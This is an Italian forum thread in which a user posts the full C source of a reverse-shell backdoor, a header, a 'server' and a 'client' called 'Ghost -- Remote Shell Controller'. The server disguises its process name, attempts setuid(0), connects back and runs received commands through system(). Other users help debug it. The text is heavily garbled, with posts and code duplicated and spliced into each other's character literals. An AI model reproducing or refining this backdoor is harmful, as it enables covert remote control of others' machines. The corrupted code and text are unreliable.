Oppure

Loading
16/12/16 12:08
ch4os
Salve a tutti sono nuovo in questo forum...e ho un problema secondo me stupido ma che io non riesco a venirne a capo.

Premetto che mi permetto di postare questo script perchè ho visto che anche altri utenti hanno chiesto consigli.. il mio è solo a scopo didattico e non voglio creare problemi a nessuno ma ho solo tanta voglia di capire come funzionano certe cose... detto questo spero che nessuno mi critichi per questi script...

Ritorniamo a noi...Come vi stavo dicendo ho un problema strano in pratica ho trovato una guida su come funzionano le backdoor e prendendo spunto da una backdoor base ho creato questa Backdoor reverse shell e fin qui ci siamo, la connessione avviene con successo l'unico problema è che quando gli invio un comando al server ad esempio "ls" mi da errore:

sh: $'Salve a tutti sono nuovo in questo forum...e ho un problema secondo me stupido ma che io non riesco a venirne a capo.


Premetto che mi permetto di postare questo script perchè ho visto che anche altri utenti hanno chiesto consigli.. il mio è solo a scopo didattico e non voglio creare problemi a nessuno ma ho solo tanta voglia di capire come funzionano certe cose... detto questo spero che nessuno mi critichi per questi script...

Ritorniamo a noi...Come vi stavo dicendo ho un problema strano in pratica ho trovato una guida su come funzionano le backdoor e prendendo spunto da una backdoor base ho creato questa Backdoor reverse shell e fin qui ci siamo, la connessione avviene con successo l'unico problema è che quando gli invio un comando al server ad esempio "ls" mi da errore:

sh: $'{parsed_message}3': comando non trovato
sh: bin/echo: No such file or directory


ho provato a cambiare un pò la variabile file perchè pensavo che non avessi i permessi giusti e quindi non me lo faceva aprire il file, ma niente non riesco a venirne a capo.... se qualcuno può aiutarmi ne sarei veramente grato


Lo script non lo posto ancora aspetto che qualcuno dia il consenso ^_^

3': comando non trovato sh: bin/echo: No such file or directory


ho provato a cambiare un pò la variabile file perchè pensavo che non avessi i permessi giusti e quindi non me lo faceva aprire il file, ma niente non riesco a venirne a capo.... se qualcuno può aiutarmi ne sarei veramente grato


Lo script non lo posto ancora aspetto che qualcuno dia il consenso ^_^

Ultima modifica effettuata da ch4os 16/12/16 12:09
aaa
16/12/16 12:29
lumo
Metti il codice altrimenti non si capisce molto. Usi un sistema Unix-like?
aaa
16/12/16 12:39
ch4os
back.h
#ifndef MY_SOCK_H
#define MY_SOCK_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h> 

#define PORT	2106
#define STATE_LEN	3

void addr_init(struct sockaddr_in *addr, int port, long ip)
{
	addr->sin_family = AF_INET;
	addr->sin_port = htons(port);
	addr->sin_addr.s_addr = ip;
}

int fileLen(FILE *fp)
{
	char buff;
	int len=0;

	rewind(fp);

	while(!feof(fp)){
		buff = fgetc(fp);
		len++;
	}

	rewind(fp);
	return len;
}

char *readFile(char *file)
{
	FILE *fp;
	int i;
	char *buff;

	fp = fopen(file,"r");
	buff = (char*) malloc(fileLen(fp)*sizeof(char));

	for (i=0; !feof(fp); i++)
		buff[i] = fgetc(fp);
	buff[i-1]= 'back.h

#ifndef MY_SOCK_H
#define MY_SOCK_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h> 

#define PORT	2106
#define STATE_LEN	3

void addr_init(struct sockaddr_in *addr, int port, long ip)
{
	addr->sin_family = AF_INET;
	addr->sin_port = htons(port);
	addr->sin_addr.s_addr = ip;
}

int fileLen(FILE *fp)
{
	char buff;
	int len=0;

	rewind(fp);

	while(!feof(fp)){
		buff = fgetc(fp);
		len++;
	}

	rewind(fp);
	return len;
}

char *readFile(char *file)
{
	FILE *fp;
	int i;
	char *buff;

	fp = fopen(file,"r");
	buff = (char*) malloc(fileLen(fp)*sizeof(char));

	for (i=0; !feof(fp); i++)
		buff[i] = fgetc(fp);
	buff[i-1]= '{parsed_message}';
	fclose(fp);
	return buff;
}

#endif


server.c

/* server.c */

#include "back.h"

int main(int argc, char **argv)
{

	int sd, i;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	FILE *fp;
	struct sockaddr_in client,server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		system(new_cmd);

		sprintf(size,"%d",strlen(readFile(file)));
		size[strlen(size)] = '{parsed_message}';

		if(!strcmp(size,"0"))
		{
			snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
			system(new_cmd);
			snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
		}
		if((write(sd, size, sizeof(size))) == -1)
			exit(1);
		if((write(sd,readFile(file), atoi(size))) == -1)
			exit(1);

		unlink(file);

	}
	close(sd);

}


client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root#: ");
		fgets(cmd, sizeof(cmd), stdin);
		cmd[strlen(cmd)-1] = '{parsed_message}';

		write(sd, cmd, sizeof(cmd));
		memset(cmd, 0x0, sizeof(cmd));

		if((read(sd,size, sizeof(size))) == -1)
		{
			printf("Impossibile ricevere dati dal server\n");
			exit(1);
		}
		buff = (char*) malloc(atoi(size)*sizeof(char));

		if((read(sd, buff, atoi(size))) == -1){
			printf("Impossibile riceve dati dal server..\n");
			exit(1);
		}
		printf("%s",buff);
		printf("\nComando inviato\n");
	}

	close(sd);


}


come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK '; fclose(fp); return buff; } #endif


server.c

/* server.c */

#include "back.h"

int main(int argc, char **argv)
{

	int sd, i;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	FILE *fp;
	struct sockaddr_in client,server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		system(new_cmd);

		sprintf(size,"%d",strlen(readFile(file)));
		size[strlen(size)] = 'back.h

#ifndef MY_SOCK_H
#define MY_SOCK_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h> 

#define PORT	2106
#define STATE_LEN	3

void addr_init(struct sockaddr_in *addr, int port, long ip)
{
	addr->sin_family = AF_INET;
	addr->sin_port = htons(port);
	addr->sin_addr.s_addr = ip;
}

int fileLen(FILE *fp)
{
	char buff;
	int len=0;

	rewind(fp);

	while(!feof(fp)){
		buff = fgetc(fp);
		len++;
	}

	rewind(fp);
	return len;
}

char *readFile(char *file)
{
	FILE *fp;
	int i;
	char *buff;

	fp = fopen(file,"r");
	buff = (char*) malloc(fileLen(fp)*sizeof(char));

	for (i=0; !feof(fp); i++)
		buff[i] = fgetc(fp);
	buff[i-1]= '{parsed_message}';
	fclose(fp);
	return buff;
}

#endif


server.c

/* server.c */

#include "back.h"

int main(int argc, char **argv)
{

	int sd, i;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	FILE *fp;
	struct sockaddr_in client,server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		system(new_cmd);

		sprintf(size,"%d",strlen(readFile(file)));
		size[strlen(size)] = '{parsed_message}';

		if(!strcmp(size,"0"))
		{
			snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
			system(new_cmd);
			snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
		}
		if((write(sd, size, sizeof(size))) == -1)
			exit(1);
		if((write(sd,readFile(file), atoi(size))) == -1)
			exit(1);

		unlink(file);

	}
	close(sd);

}


client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root#: ");
		fgets(cmd, sizeof(cmd), stdin);
		cmd[strlen(cmd)-1] = '{parsed_message}';

		write(sd, cmd, sizeof(cmd));
		memset(cmd, 0x0, sizeof(cmd));

		if((read(sd,size, sizeof(size))) == -1)
		{
			printf("Impossibile ricevere dati dal server\n");
			exit(1);
		}
		buff = (char*) malloc(atoi(size)*sizeof(char));

		if((read(sd, buff, atoi(size))) == -1){
			printf("Impossibile riceve dati dal server..\n");
			exit(1);
		}
		printf("%s",buff);
		printf("\nComando inviato\n");
	}

	close(sd);


}


come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK '; if(!strcmp(size,"0")) { snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file); system(new_cmd); snprintf(size,sizeof(size), "%d", strlen(readFile(file))); } if((write(sd, size, sizeof(size))) == -1) exit(1); if((write(sd,readFile(file), atoi(size))) == -1) exit(1); unlink(file); } close(sd); }


client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root#: ");
		fgets(cmd, sizeof(cmd), stdin);
		cmd[strlen(cmd)-1] = 'back.h

#ifndef MY_SOCK_H
#define MY_SOCK_H

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h> 

#define PORT	2106
#define STATE_LEN	3

void addr_init(struct sockaddr_in *addr, int port, long ip)
{
	addr->sin_family = AF_INET;
	addr->sin_port = htons(port);
	addr->sin_addr.s_addr = ip;
}

int fileLen(FILE *fp)
{
	char buff;
	int len=0;

	rewind(fp);

	while(!feof(fp)){
		buff = fgetc(fp);
		len++;
	}

	rewind(fp);
	return len;
}

char *readFile(char *file)
{
	FILE *fp;
	int i;
	char *buff;

	fp = fopen(file,"r");
	buff = (char*) malloc(fileLen(fp)*sizeof(char));

	for (i=0; !feof(fp); i++)
		buff[i] = fgetc(fp);
	buff[i-1]= '{parsed_message}';
	fclose(fp);
	return buff;
}

#endif


server.c

/* server.c */

#include "back.h"

int main(int argc, char **argv)
{

	int sd, i;
	char cmd[1000], new_cmd[1200], size[17], file[100];
	FILE *fp;
	struct sockaddr_in client,server;


	
	strcpy(argv[0],"/usr/sbin/1");
	snprintf(file,100,"%s/.cmd",getenv("HOME"));
	setuid(0); setgid(0);


	addr_init(&server, PORT, inet_addr("127.0.0.1"));
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket\n");
		exit(1);
	}
	if(connect(sd, (struct sockaddr *)&server, sizeof(struct sockaddr))){
		printf("Impossibile stabilire una connessione");
		close(sd);
		exit(2);
	}

	printf("Connessione avvenuta con successo \n");

	for(;;) {
		if((read(sd, cmd, sizeof(cmd))) == -1)
			exit(1);

		memset(new_cmd, 0x0, sizeof(new_cmd));
		snprintf(new_cmd, sizeof(new_cmd), "%s > %s",cmd,file);
		system(new_cmd);

		sprintf(size,"%d",strlen(readFile(file)));
		size[strlen(size)] = '{parsed_message}';

		if(!strcmp(size,"0"))
		{
			snprintf(new_cmd, sizeof(new_cmd), "bin/echo \"OK\" > %s",file);
			system(new_cmd);
			snprintf(size,sizeof(size), "%d", strlen(readFile(file)));
		}
		if((write(sd, size, sizeof(size))) == -1)
			exit(1);
		if((write(sd,readFile(file), atoi(size))) == -1)
			exit(1);

		unlink(file);

	}
	close(sd);

}


client.c

/*client*/

#include "back.h"
#define MAX_CONN	5

int main(int argc, char **argv)
{

	int sd, new_sd, sin_len = sizeof(struct sockaddr_in);
	struct sockaddr_in client, server;
	char *buff, cmd[1000], size[17];

	addr_init(&server, PORT, INADDR_ANY);
	sd = socket(AF_INET, SOCK_STREAM, 0);

	if(sd == -1){
		printf("Impossibile creare il socket \n");
		exit(1);
	}
	if((bind(sd,(struct sockaddr *)&server, sin_len)) == -1){
		printf("errore durante il bind\n");
		exit(2);
	}
	if((listen(sd,MAX_CONN)) == -1){
		printf("Errore nel listening\n");
		exit(3);
	}
	new_sd = accept(sd,(struct sockaddr *) &client, &sin_len);

	if(new_sd == -1){
		printf("Errore accept\n");
		exit(4);

	}

	printf("________________________________________\n");
	printf("   Ghost -- Remote Shell Controller     \n");
	printf("   by Chaos, (C) 2016                   \n");
	printf("________________________________________\n\n");

	printf("Connessione stabilita con successo\n");

	for(;;){
		printf("ch4os-sh3ll-root#: ");
		fgets(cmd, sizeof(cmd), stdin);
		cmd[strlen(cmd)-1] = '{parsed_message}';

		write(sd, cmd, sizeof(cmd));
		memset(cmd, 0x0, sizeof(cmd));

		if((read(sd,size, sizeof(size))) == -1)
		{
			printf("Impossibile ricevere dati dal server\n");
			exit(1);
		}
		buff = (char*) malloc(atoi(size)*sizeof(char));

		if((read(sd, buff, atoi(size))) == -1){
			printf("Impossibile riceve dati dal server..\n");
			exit(1);
		}
		printf("%s",buff);
		printf("\nComando inviato\n");
	}

	close(sd);


}


come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK '; write(sd, cmd, sizeof(cmd)); memset(cmd, 0x0, sizeof(cmd)); if((read(sd,size, sizeof(size))) == -1) { printf("Impossibile ricevere dati dal server\n"); exit(1); } buff = (char*) malloc(atoi(size)*sizeof(char)); if((read(sd, buff, atoi(size))) == -1){ printf("Impossibile riceve dati dal server..\n"); exit(1); } printf("%s",buff); printf("\nComando inviato\n"); } close(sd); }


come sistema operativo sto usando fedora
Il file cmd viene creato nella cartella ~/ però al suo interno non c'è nulla...eppure anche se vuoto dovrebbe almeno esserci scritto OK
Ultima modifica effettuata da ch4os 16/12/16 12:47
aaa
16/12/16 13:31
lumo
In effetti come ti dice l'errore sh non trova bin/echo, semplicemente per il fatto che devi scrivere /bin/echo a meno che la working directory del tuo programma non sia la root directory (cosa che in generale non conviene assumere).
L'altro errore che ti dà non l'ho ancora rintracciato ma probabilmente si tratta di qualche carattere strano.

P.S. sposta PORT e STATE_LEN dentro server.c visto che li usi soltanto lì.
aaa
16/12/16 14:06
ch4os
grazie lumo sei stato molto gentile, ora provo a risolvere l'altro problema se riesco :\ cercherò di capire quale sia l'errore grazie ancora Iumo

-----EDIT-------
ragazzi non riesco a trovare niente su google riguardo questo problema ed il compilatore non mi da nessun errore per risolvere il prblema....
Ho provato a compilare con -Wall ed ho notato che in snprintf mi da errore

server.c:44:18: warning: format ‘%d’ expects argument of type ‘int’, but argument 3 has type ‘size_t {aka long unsigned int}’ [-Wformat=]
   sprintf(size,"%d",strlen(readFile(file)));
                  ^
server.c:51:34: warning: format ‘%d’ expects argument of type ‘int’, but argument 4 has type ‘size_t {aka long unsigned int}’ [-Wformat=]
    snprintf(size,sizeof(size), "%d", strlen(readFile(file)));

ho provato a cercare in google ed ho provato a cambiare la %d con %f, %s ma succede niente e mi da sempre lo stesso errore. Ora io mi domando, ho sbagliato io a impostare qualcosa o va bene pure così, e seconda domanda il problema per cui non riesco a far funzionare i comandi può dipendere da questo problema???????


Ultima modifica effettuata da ch4os 16/12/16 16:35
aaa
16/12/16 16:32
lumo
Cambia con %zd per togliere il warning ma non è quello il problema.
aaa
16/12/16 16:48
ch4os
gia in effetti non e cambiato nulla...... :\ cavolo....non riesco a capire come potrei trovare la causa del problema non mi da nemmeno un'errore piu specifico...
pero pensando che l'errore è

sh: $'gia in effetti non e cambiato nulla...... :\ cavolo....non riesco a capire come potrei trovare la causa del problema non mi da nemmeno un'errore piu specifico...

pero pensando che l'errore è

sh: $'{parsed_message}3': comando non trovato

leggendo da qua capisco che legge 3 ma da dove??? altrimenti mi avrebbe scritto $ ls : comando non trovato.... o sto facendo confusione??? puo darsi che quando legge il comando dal file temporaneo lo legge in byte e non converte il comando....o sto dicendo solo cavolate :P...in ogni caso sto facendo solo una gran confusione.....3': comando non trovato

leggendo da qua capisco che legge 3 ma da dove??? altrimenti mi avrebbe scritto $ ls : comando non trovato.... o sto facendo confusione??? puo darsi che quando legge il comando dal file temporaneo lo legge in byte e non converte il comando....o sto dicendo solo cavolate :P...in ogni caso sto facendo solo una gran confusione.....
aaa
16/12/16 18:16
TheDarkJuster
Compila il programma con i flag -O0 -d.

Avvialo tramite sourceware.org/gdb/ e fai il debug.

Per comodità puoi usare un ide.....
aaa